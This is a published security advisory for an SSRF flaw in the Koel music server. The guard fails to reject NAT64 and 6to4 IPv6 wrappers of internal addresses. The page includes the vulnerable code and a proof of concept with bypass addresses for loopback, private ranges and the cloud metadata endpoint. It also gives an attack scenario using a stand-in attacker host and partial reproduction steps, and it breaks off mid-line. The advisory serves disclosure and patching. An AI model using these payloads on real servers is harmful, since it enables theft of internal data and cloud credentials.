medium

CVE-2026-54494

Packagist · phanan/koel

Summary

Koel: Full-read SSRF via podcast enclosure URL: isPublicHost() filter_var guard does not reject NAT64 (64:ff9b::/96) or 6to4 (2002::/16) IPv6-transition wrappers of internal IPv4

Severity
medium
EPSS
0.4% (p37)
CWE
CWE-918
Also known as
GHSA-rjg7-r26h-cfp2
Published
2026-07-15
Updated
2026-07-15

Advisory details

Summary

Koel's outbound-URL guard App\Helpers\Network::isPublicHost() classifies an IP as "public" using PHP's filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE). That flag set does not recognise IPv6 transition-address forms that embed a private/loopback/link-local IPv4: NAT64 well-known prefix 64:ff9b::/96 (RFC 6052) and 6to4 2002::/16 (RFC 3056). An address such as 64:ff9b::7f00:1 (= 127.0.0.1), 64:ff9b::a9fe:a9fe (= 169.254.169.254, the cloud metadata endpoint), or 2002:a00:1:: (= 10.0.0.1) is reported as a public address, so the guard returns true and Koel proceeds to fetch the URL.

The guard is the only SSRF defense in front of App\Values\Podcast\EpisodePlayable::createForEpisode(), which downloads a podcast episode with Http::sink($file)->get($url) and streams the response body back to the requesting user. Because an attacker fully controls the <enclosure url> of any RSS feed they host (and any authenticated user can subscribe to a feed), they can publish an enclosure whose hostname has an AAAA record that is a NAT64/6to4 wrapper of an internal IP. On hosts with NAT64 or 6to4/dual-stack routing (the standard configuration on IPv6-only AWS/GCP subnets and 6to4-relayed networks), the kernel routes the wrapper to the embedded IPv4, and Koel performs a full-read SSRF against the internal endpoint — returning the response body to the attacker.

This is a server-side request forgery with full response disclosure (CWE-918) against internal services and cloud instance metadata.

Vulnerable code

app/Helpers/Network.php — isPublicHost() (the literal-IP branch and the per-resolved-record branch use the identical predicate):

public function isPublicHost(string $host): bool
{
    if (filter_var($host, FILTER_VALIDATE_IP)) {
        return (
            filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false
        );
    }

    try {
        $records = array_merge(dns_get_record($host, DNS_A) ?: [], dns_get_record($host, DNS_AAAA) ?: []);
    } catch (Throwable) {
        return false;
    }

    if ($records === []) {
        return false;
    }

    foreach ($records as $record) {
        $ip = $record['ip'] ?? $record['ipv6'] ?? null;

        if (
            !$ip
            || filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false
        ) {
            return false;
        }
    }

    return true;
}

PHP's FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE rejects RFC 1918, loopback, link-local and IPv4-mapped IPv6 (::ffff:a.b.c.d), but treats NAT64 64:ff9b::/96 and 6to4 2002::/16 as ordinary global addresses — even though both forms deterministically embed an IPv4 the kernel will route to.

The sink, app/Values/Podcast/EpisodePlayable.php — createForEpisode():

$network = app(Network::class);
$url = (string) $episode->path;

if (!$network->isSafeUrl($url)) {            // isSafeUrl() -> isPublicHost(), the only guard
    throw UnsafeUrlException::forUrl($url);
}

Http::sink($file)
    ->withOptions([
        'allow_redirects' => [
            'max' => 5,
            'on_redirect' => static function (
                RequestInterface $request,
                ResponseInterface $response,
                UriInterface $uri,
            ) use ($network): void {
                if (!$network->isSafeUrl((string) $uri)) {   // same guard on redirects -> same bypass
                    throw UnsafeUrlException::forUrl((string) $uri);
                }
            },
        ],
    ])
    ->get($url)                              // full-read SSRF: response streamed into $file
    ->throw();

$episode->path is the <enclosure url> from the subscribed podcast RSS feed. The redirect callback reuses the same isSafeUrl(), so a redirect to a NAT64/6to4 host is also accepted.

Attack scenario / How input reaches the sink

  1. Attacker hosts a podcast RSS feed and serves an item whose enclosure is <enclosure url="http://int.attacker.example/secret" type="audio/mpeg"/>, where int.attacker.example publishes AAAA = 64:ff9b::a9fe:a9fe (NAT64 wrapper of 169.254.169.254) or 2002:a00:1:: (6to4 wrapper of 10.0.0.1). The attacker may also use a bare IPv6-literal enclosure host directly.
  2. A Koel user subscribes to the feed (a standard, intended feature — the podcast subscription endpoint accepts an arbitrary feed URL) and plays / streams the episode.
  3. EpisodePlayable::createForEpisode() calls isSafeUrl($url). The host resolves to the NAT64/6to4 address; isPublicHost() runs filter_var(NO_PRIV_RANGE | NO_RES_RANGE) over the embedded-IPv4 transition form and returns true.
  4. Http::sink($file)->get($url) connects. On a NAT64/dual-stack/6to4-routed host the kernel forwards to the embedded internal IPv4. The internal response body is written to $file and served back to the user — full-read SSRF against internal services / cloud IMDS.

Proof of concept

(a) Guard-predicate proof (PHP 8.5, the exact filter_var call)

<?php
function isPublicHost_literal(string $ip): bool {        // koel Network::isPublicHost literal branch
    if (!filter_var($ip, FILTER_VALIDATE_IP)) return false;
    return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false;
}
foreach ([
  ['NAT64(127.0.0.1)','64:ff9b::7f00:1'], ['NAT64(169.254.169.254 IMDS)','64:ff9b::a9fe:a9fe'],
  ['NAT64(10.0.0.1)','64:ff9b::a00:1'],   ['6to4(127.0.0.1)','2002:7f00:1::'],
  ['6to4(169.254.169.254)','2002:a9fe:a9fe::'], ['6to4(10.0.0.1)','2002:a00:1::'],
  ['direct 127.0.0.1','127.0.0.1'], ['direct 10.0.0.1','10.0.0.1'],
  ['direct 169.254.169.254','169.254.169.254'], ['IPv4-mapped ::ffff:10.0.0.1','::ffff:10.0.0.1'],
] as [$l,$ip]) printf("%-30s %-22s passes_public=%s\n",$l,$ip,isPublicHost_literal($ip)?'YES(BYPASS)':'no(blocked)');

Verbatim output:

NAT64(127.0.0.1)               64:ff9b::7f00:1        passes_public=YES(BYPASS)
NAT64(169.254.169.254 IMDS)    64:ff9b::a9fe:a9fe     passes_public=YES(BYPASS)
NAT64(10.0.0.1)                64:ff9b::a00:1         passes_public=YES(BYPASS)
6to4(127.0.0.1)                2002:7f00:1::          passes_public=YES(BYPASS)
6to4(169.254.169.254)          2002:a9fe:a9fe::       passes_public=YES(BYPASS)
6to4(10.0.0.1)                 2002:a00:1::           passes_public=YES(BYPASS)
direct 127.0.0.1               127.0.0.1              passes_public=no(blocked)
direct 10.0.0.1                10.0.0.1               passes_public=no(blocked)
direct 169.254.169.254         169.254.169.254        passes_public=no(blocked)
IPv4-mapped ::ffff:10.0.0.1    ::ffff:10.0.0.1        passes_public=no(blocked)

End-to-end reproduction against pinned koel v9.5.0

Environment: git clone --branch v9.5.0 https://github.com/koel/koel.git + composer install, run inside a php:8.5-cli container started with --cap-add=NET_ADMIN so the NAT64 and 6to4 prefixes can be assigned to lo, simulating a NAT64/dual-stack host's kernel routing:

ip -6 addr add 64:ff9b::7f00:1/128 dev lo    # NAT64 wrapper of 127.0.0.1 -> loopback
ip -6 addr add 2002:7f00:1::/128 dev lo       # 6to4 wrapper of 127.0.0.1  -> loopback

A localhost stand-in "internal IMDS" server listens on those literals and returns SENTINEL_INTERNAL_IMDS_SECRET=ssrf-proven-token-koel-nat64. The harness boots a real Laravel container, resolves the genuine released App\Helpers\Network (from app/Helpers/Network.php), invokes its real isPublicHost() on each attacker AAAA-record value, then runs the verbatim EpisodePlayable::createForEpisode() body (isSafeUrl guard, then Http::sink($file)->get($url) via Laravel's real Guzzle-backed client):

$network = $app->make(App\Helpers\Network::class);   // resolved from app/Helpers/Network.php
// STEP 1: genuine guard decision on the attacker A

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.